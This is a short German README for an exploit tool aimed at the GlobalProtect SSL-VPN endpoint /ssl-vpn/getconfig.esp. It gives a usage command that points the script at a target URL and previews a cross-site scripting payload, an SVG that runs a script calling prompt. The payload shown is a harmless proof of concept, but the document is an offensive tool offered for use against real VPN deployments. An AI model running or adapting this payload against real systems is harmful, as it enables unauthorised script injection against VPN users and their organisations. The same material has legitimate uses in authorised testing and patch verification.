mitsec_vpn_xss_exploit

🔓 Exploit für den GlobalProtect-SSL-VPN-Endpunkt /ssl-vpn/getconfig.esp, der einen manipulierten XSS-Payload an die URL anhängt.

Verwendung

python3 exploit.py -u https://target.com

Parameter

• -u, --url: Basis-Ziel-URL (keine Query-Parameter angeben)

Payload-Vorschau

<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

Autor